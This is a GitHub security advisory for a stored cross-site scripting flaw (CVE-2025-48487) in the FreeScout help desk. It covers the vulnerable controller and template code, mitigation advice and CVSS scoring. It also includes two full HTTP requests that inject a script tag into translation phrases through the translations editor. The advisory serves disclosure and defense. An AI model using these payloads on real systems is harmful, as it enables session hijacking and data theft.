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Stored XSS [5]

Moderate
freescout-help-desk published GHSA-wg2q-m2fj-x6j4 May 28, 2025

Package

No package listed

Affected versions

<1.8.180

Patched versions

1.8.180

Description

Stored XSS [5]

Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.4.0: 6.0 (AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N)
Description: the application is vulnerable to Cross-Site Scripting (XSS) attacks due to incorrect input validation and sanitization of user-input data. An attacker can inject arbitrary HTML code, including JavaScript scripts, into the page processed by the user's browser, allowing them to steal sensitive data, hijack user sessions, or conduct other malicious activities.
Implementation Scenarios: /translations/edit/_app
Implementation Options: POST value
Vulnerable scenarios:

• all flash notifications in the application;
• all scenarios where the translated phrase is injected without escaping.

Exploitation conditions: an authorized user with administrator role.
Vulnerable section of code:
Listing. Vulnerable code snippet (/app/Http/Controllers/MailboxesController.php 97-991)

\Session::flash('flash_success_floating', __('Mailbox created successfully'));
return redirect()->route('mailboxes.update', ['id' => $mailbox->id]);

Mitigation: Input Validation and Sanitization: all user-supplied data used to generate web pages processed by the browser, including HTTP request headers (e.g., User-Agent, Referer), must be subject to preliminary transformation to prevent potential security vulnerabilities. This transformation should replace potentially hazardous characters that could be used for HTML formatting with their safe equivalents. The htmlspecialchars()function can be employed for this purpose.
To prevent Cross-Site Scripting (XSS) attacks, a comprehensive approach is recommended, including code and server configuration changes, as well as technical security measures:
• leverage frameworks that provide automated input validation and filtering to prevent XSS attacks;
• in the web application code, escape untrusted data in HTTP requests in the context of HTML page output (body, attributes, JavaScript, CSS, or URL);
• avoid using potentially vulnerable DOM objects in the application code that can be exploited by attackers;
• enable Content Security Policy (CSP);
• configure session cookies with the secure and httpOnly flags;
• return files with correct MIME type or use Content-Disposition: attachment and Content-Type: application/octet-stream to force download.
For general information on safeguarding against Cross-Site Scripting (XSS) vulnerabilities, please refer to:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md.

Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Stored XSS» in FreeScout.
It was found that when creating a translation of a phrase that appears in a flash-message after a completed action, it is possible to inject a payload to exploit XSS vulnerability. Next, it is necessary to publish the translation.
Listing. HTTP request for injecting malicious payload into the Russian translation of phrase [Mailbox created successfully]

POST /translations/edit/_app HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: 5iT97wPdt5NbkgeyZLJ5sRaCXUYWFjabWLsJLm7A
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 272
Origin: http://x.x.x.x
Connection: keep-alive
Referer: http://x.x.x.x /translations/view/_app?locale=ru
Cookie: [COOKIE]
Priority: u=0

name=ru%7CMailbox+created+successfully&value=%D0%A2%D0%B5%D1%81%D1%82+%D1%82%D0%B5%D1%81%D1%82+%3Cscript+src%3D%22%5Cstorage%5Cattachment%5C2%5C2%5C1%5Ctest%3Fid%3D181%26token%3D0f3b323b163d01a0d7ff7043b319f5c4%22%3E&pk=6244&_token=5iT97wPdt5NbkgeyZLJ5sRaCXUYWFjabWLsJLm7A

Below is an example with an unsafe template for XSS exploitation:
Listing. Example of a vulnerable template (resources/views/conversations/conversation_table.blade.php 219-229)

<td class="conv-totals" colspan="{{ $col_counter-3 }}">
    @if ($conversations->total())
        {!! __(':count conversations', ['count' => '<strong>'.$conversations->total().'</strong>']) !!}&nbsp;|&nbsp; 
    @endif
    @if (isset($folder->active_count) && !$folder->isIndirect())
        <strong>{{ $folder->getActiveCount() }}</strong> {{ __('active') }}&nbsp;|&nbsp; 
    @endif
    @if ($conversations)
        <strong>{{ $conversations->firstItem() }}</strong>-<strong>{{ $conversations->lastItem() }}</strong>
    @endif
</td>

Listing. HTTP request for injecting XSS into the translation of phrase [count conversations]

POST /translations/edit/_app HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: sJ6ZGfqLi8pq4ebRgixnYj8Ozciv4ymvTafRJ0QJ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 268
Origin: http://x.x.x.x
Connection: keep-alive
Referer: http://x.x.x.x /translations/view/_app?locale=ru
Cookie: [COOKIE]
Priority: u=0

name=ru%7C%3Acount+conversations&value=%3Acount+%D1%82%D0%B8%D0%BA%D0%B5%D1%82%D0%BE%D0%B2+%3Cscript+src%3D%22%5Cstorage%5Cattachment%5C2%5C2%5C1%5Ctest%3Fid%3D181%26token%3D0f3b323b163d01a0d7ff7043b319f5c4%22%3E&pk=5854&_token=sJ6ZGfqLi8pq4ebRgixnYj8Ozciv4ymvTafRJ0QJ

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

CVE ID

CVE-2025-48487

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.